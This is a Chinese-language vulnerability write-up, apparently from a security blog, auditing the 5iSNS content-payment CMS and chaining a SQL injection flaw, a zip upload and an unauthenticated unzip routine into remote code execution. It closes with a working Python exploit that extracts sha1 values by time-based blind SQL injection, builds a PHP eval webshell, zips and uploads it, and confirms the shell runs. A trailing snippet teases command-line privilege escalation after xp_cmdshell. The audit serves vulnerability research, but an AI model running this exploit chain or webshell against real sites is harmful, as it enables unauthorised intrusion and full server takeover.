前言
首先这个文件上传的漏洞点只能上传压缩包,因此并不能直接getshell。
这里的组合原理是通过sql注入漏洞拿到数据库中存放的压缩包信息,然后利用压缩包信息去构造payload触发解压缩操作,最终实现getshell。
审计的cms名为5iSNS内容付费系统,代码规模并不大,但是漏洞点比较有趣,故分享此文。
源码的下载地址:http://down.chinaz.com/soft/39377.htm
源码的官网地址:http://www.imzaker.com/
1. sql注入漏洞
其实乍一看他的数据库连接函数,都带有pdo的字样,但是跟进去具体瞧一瞧才发现其实还是用了很多的原生处理,如转义等操作,并没有完全做到预编译。
最初的入口漏洞代码位于5isns/basephp/func/db.func.php第241行
1
2
3
4
5
6
7
8
9
|
function db_find_one($table, $cond = array(), $orderby = array(), $col = array(), $d = NULL) {
$db = $_SERVER[‘db’];
// 高效写法,定参有利于编译器优化
$d = $d ? $d : $db;
if(!$d) return FALSE;
return $d->find_one($table, $cond, $orderby, $col);
}
|
这里对应的其实就是最简单的select功能,这里需要重点关注$cond这个参数,这其实就是我们用户传入的键值对。跟进到find_one函数中去,代码位于5isns/basephp/class/db_pdo_mysql.class.php第156行
1
2
3
4
5
6
|
public function find_one($table, $cond = array(), $orderby = array(), $col = array()) {
$cond = db_cond_to_sqladd($cond);
$orderby = db_orderby_to_sqladd($orderby);
$cols = $col ? implode(‘,’, $col) : ‘*’;
return $this->sql_find_one(“SELECT $cols FROM {$this->tablepre}$table $cond$orderby LIMIT 1”);
}
|
这里开始就有点类似于那种pdo的样子,占位传输,我们仅需跟进到db_cond_to_sqladd函数,代码位于5isns/basephp/func/db.func.php第295行
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
|
// 格式:
array(‘id’=>123, ‘groupid’=>123)
array(‘id’=>array(1,2,3,4,5))
array(‘id’=>array(‘>’ => 100, ‘<‘ => 200))
array(‘username’=>array(‘LIKE’ => ‘jack’))
array(‘id’=>array(‘!=’ => array(2,9))) not in
*/
function db_cond_to_sqladd($cond) {
$s = ”;
if(!empty($cond)) {
$s = ‘ WHERE ‘;
foreach($cond as $k=>$v) {
if(!is_array($v)) {
$v = (is_int($v) || is_float($v)) ? $v : “‘”.addslashes($v).“‘”;
$s .= “`$k`=$v AND “;
} elseif(isset($v[0])) {
// OR 效率比 IN 高
$s .= ‘(‘;
//$v = array_reverse($v);
foreach ($v as $v1) {
$v1 = (is_int($v1) || is_float($v1)) ? $v1 : “‘”.addslashes($v1).“‘”;
$s .= “`$k`=$v1 OR “;
}
$s = substr($s, 0, –4);
$s .= ‘) AND ‘;
/*
$ids = implode(‘,’, $v);
$s .= “$k IN ($ids) AND “;
*/
} else {
foreach($v as $k1=>$v1) {
if($k1 == ‘LIKE’) {
$k1 = ‘ LIKE ‘;
$v1=“%$v1%”;
}
if($k1==‘!=’&&is_array($v1)){//用于执行not in 查询
foreach($v1 as $v2) {
$s .= “`$k`$k1$v2 AND “;
}
continue;
}
$v1 = (is_int($v1) || is_float($v1)) ? $v1 : “‘”.addslashes($v1).“‘”;
if(strrpos($k,‘CONCAT’)!==false){
$s .= “$k$k1$v1 AND “;
}else{
$s .= “`$k`$k1$v1 AND “;
}
}
}
}
$s = substr($s, 0, –4);
}
return $s;
}
|
从第一个foreach开始取get或者post中的键名和对应的值,但是这里的is_array($v)引起了我的警觉,假设我们的传入一个参数例如id[test]=1,那么来看看会发生什么
从图中可以看到这里的id作为键,test和1作为array,那么其中的test其实就是value中的键,因此会进入到程序中的最后一个循环,这里重新梳理下程序流程
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
function db_cond_to_sqladd($cond) {
$s = ”;
if(!empty($cond)) {
$s = ‘ WHERE ‘;
foreach($cond as $k=>$v) {
if(!is_array($v)) {
……
} elseif(isset($v[0])) {
……
} else {
foreach($v as $k1=>$v1) {
……
$v1 = (is_int($v1) || is_float($v1)) ? $v1 : “‘”.addslashes($v1).“‘”;
if(strrpos($k,‘CONCAT’)!==false){
……
}else{
$s .= “`$k`$k1$v1 AND “;
}
}
}
}
$s = substr($s, 0, –4);
}
return $s;
}
|
重新梳理下,如果我们输入id[test]=1,那么最终$k1就会等于test,$v1就会等于1,最终拼接的语句就为id
test’1′,那么这里我们就能直接控制test这个变量,需要注意的是在这类注入漏洞中不能使用等于号,因此这里注入漏洞可以使用in语句或者like语句来替代等于号的功能。
2. 文件上传
由于前台用户是无限制注册的,因此这里在上传压缩包的时候虽然需要用户权限,但是等同于无限制,另外在上传文档的时候由于需要后台管理员审核,因此在前台上传文档后是看不到任何相关信息,但是压缩包和文档的相关信息其实都已经存在数据库里了,这里通过sql注入漏洞都可以拿到。
1
2
|
$path = $conf[‘upload_path’].$allowtype.‘/’.$day;
$url = $conf[‘upload_url’].$allowtype.‘/’.$day;
|
这里的$allowtype为attach,也就是上传的压缩包是会写入到attach目录下,为后面埋下伏笔。。
3. 漏洞组合
由于最终目标是getshell,但是通过sql注入拿到管理员账号和密码,登录进后台发现并没有能够getshell的漏洞,因此挖掘重点就在怎么解压缩先前这个压缩包,如果能够解压缩那么就能够获得压缩包中的shell文件,达到getshell的目的。所以接下来开始搜索跟解压缩相关的函数。
解压缩的通用代码位于5isns/basephp/func/xn_zip.func.php第36行
1
2
3
4
5
6
7
8
9
10
11
12
13
|
function xn_unzip($zipfile, $extdir) {
if(class_exists(‘ZipArchive’)) {
$z = new ZipArchive;
if($z->open($zipfile) === TRUE) {
$z->extractTo($extdir);
$z->close();
}
} else {
include_once BASEPHP_FUNPATH.‘xn_zip_old.func.php’;
xn_unzip_old($zipfile, $extdir);
}
}
|
这里的功能其实就是解压缩,下面开始搜索调用该函数的相关代码,在一处前台无需用户权限的代码里看到了调用,漏洞代码位于5isns/app/index/controller/doc.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|
elseif($action == ‘upload’){
$num = param(‘num’);
$data[‘file’] = $_FILES[‘file’];
$data[‘page’] = intval(param(‘page’));//file_get_contents(“php://input”);
$data[‘sha1’] = param(‘sha1’);
$data[‘token’] = param(‘token’);
$data[‘time’] = param(‘time’);
$time1 = $data[‘time’];
$token = md5($conf[‘auth_key’].$conf[‘appid’].$time1);
if($time–intval($time1)>60){
//过时了
}else{
$tmpanme = $data[‘file’][‘name’];
$tmpurl = $conf[‘upload_url’] . ‘docview/’ . $tmpanme;
$replace[‘online_trans_num’] = $num–1;
file_replace_var(DATA_PATH.‘config/conf.default.php’, $replace);
if (!file_exists($tmpurl)) {
if (!move_uploaded_file($data[‘file’][‘tmp_name’], $tmpurl)) {
echo xn_json_encode(array(‘code’=>0,‘message’=>‘创建文件失败’));
return;
}else{
$info = db_find_one(‘doccon’,array(‘sha1’=>$data[‘sha1’]));
$fileinfo = db_find_one(‘file’,array(‘id’=>$info[‘fileid’]));
$name = str_replace(‘.’.$fileinfo[‘ext’],”,$fileinfo[‘savename’]);
xn_unzip($conf[‘upload_path’].‘docview/’.$name.‘.zip’, $conf[‘upload_path’].‘docview/’.$name.‘/’);
……
|
这里的param参数跟进去看其实等同于$_REQUEST获取变量的方式,因此下面需要思考如何进入到最终的unzip函数。
第一个限制条件$time-intval($time1)>60
这个主要是过期判断,因此每次都带上time参数就能够覆盖先前的time1变量。
第二个限制条件file_exists($tmpurl)
,这里回溯就会发现这里的$tmpurl是由$_FILES[‘file’]参数获得,这也是用户可以控制的参数,只要保证每次传入的文件名不一样即可进入到if条件中。
第三个限制条件move_uploaded_file($data['file']['tmp_name'], $tmpurl)
会将我们当前上传的文件由tmp目录写入到docview目录下。这里就有个问题,那就是我们先前在上传文件那一步上传文档的最终物理路径并不是docview目录,因此如果想要直接解压缩先前上传的文档,目前来看由于物理路径的不一致,这条路并不能走通。
最终进入到了else条件下,第四个限制条件也是最关键的条件,这里解压缩的文件名是通过数据库查取得到,查取条件就是我们传入的sha1值,看到这里其实就有点柳暗花明了。这里在数据库当中一个sha1值就会对应一个savename,最后也就是对这个savename进行解压缩。那么这个sha1值和savename就是根据先前在文件上传那步定义的,配合上sql注入漏洞,我们就可以到数据库中去取这个sha1值和savename。
取完进入到最终的unzip函数,这里文件名是docview目录下的,也就是说先前在文件上传那步涉及的压缩包在这里并不能被解压缩,他只是提供了一个能够解压缩的文件名。因此在这一步我们就必须通过$_FILES[‘file’]来将savename的同名文件上传到docview目录下。然后通过传入对应的sha1值来解压缩这个同名文件,最终获得压缩文件中的shell。
后记
补充下注入代码和主代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
|
def get_sha1(root_url,hex_title,payload,headers):
sha1 = ”
for i in xrange(1,33):
for x in payload:
param = “?val[ and if(ascii(substr((select sha1 from 5isns_file where name in (%s)),%s,1)) in (%d),sleep(3),0)–+]=1” % (hex_title,i,ord(x))
url = root_url + ‘/api-focus’ + param
print url
start_time = time.time()
s = requests.get(url=url)
end_time = time.time()
if end_time – start_time > 2:
sha1 += x
print sha1
break
return sha1
def upload_shell_dir(root_url,sha1,shell_dir):
filename = shell_dir + ‘.zip’
cmd = ‘echo “<?php @eval($_POST[1]);?>” > shell.php && zip %s shell.php’ % filename
os.system(cmd)
exp_url = root_url + ‘/doc-upload?time=%s&sha1=%s’ % (‘159999999999’,sha1)
files = {
“file”:open(filename,‘rb’),
“file_name”:(None,“testssss”)
}
s = requests.post(url=exp_url,files=files)
shell_url = root_url + ‘/upload/docview/’ + shell_dir + ‘/shell.php’
data = {‘1’:‘phpinfo();’}
s = requests.post(url=shell_url,data=data)
if ‘phpinfo’ in s.text:
print shell_url
print ‘attack success!’
def main():
headers = {
“User-Agent”:“Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:66.0) Gecko/20100101 Firefox/66.0”,
“Accept”:“text/plain, */*; q=0.01”,
“Accept-Language”:“zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2”,
“Content-Type”:“application/x-www-form-urlencoded; charset=UTF-8”,
“X-Requested-With”: “XMLHttpRequest”
}
payload = string.digits + string.lowercase + ‘._’
hex_title = ‘0x7368656c6c2e7068702e7a6970’
#shell.php.zip
root_url = ‘http://127.0.0.1:9999’
sha1 = get_sha1(root_url,hex_title,payload,headers)
shell_dir = get_shell_dir(root_url,hex_title,payload,headers)
upload_shell_dir(root_url,sha1,shell_dir)
|
上述如有不当之处,敬请指出~
在我们getshell后,或者简单点说,利用注入点获得xp_cmdshell后,我们只能运行命令行,并且无法转到其他目录时,这时候我们就要活用命令行~ 本篇文章主要介绍与信息收集和提权相关的命令行知识 初始的信息收集 1.完整的计算机信息 C:Usersyin…
请登录后发表评论
注册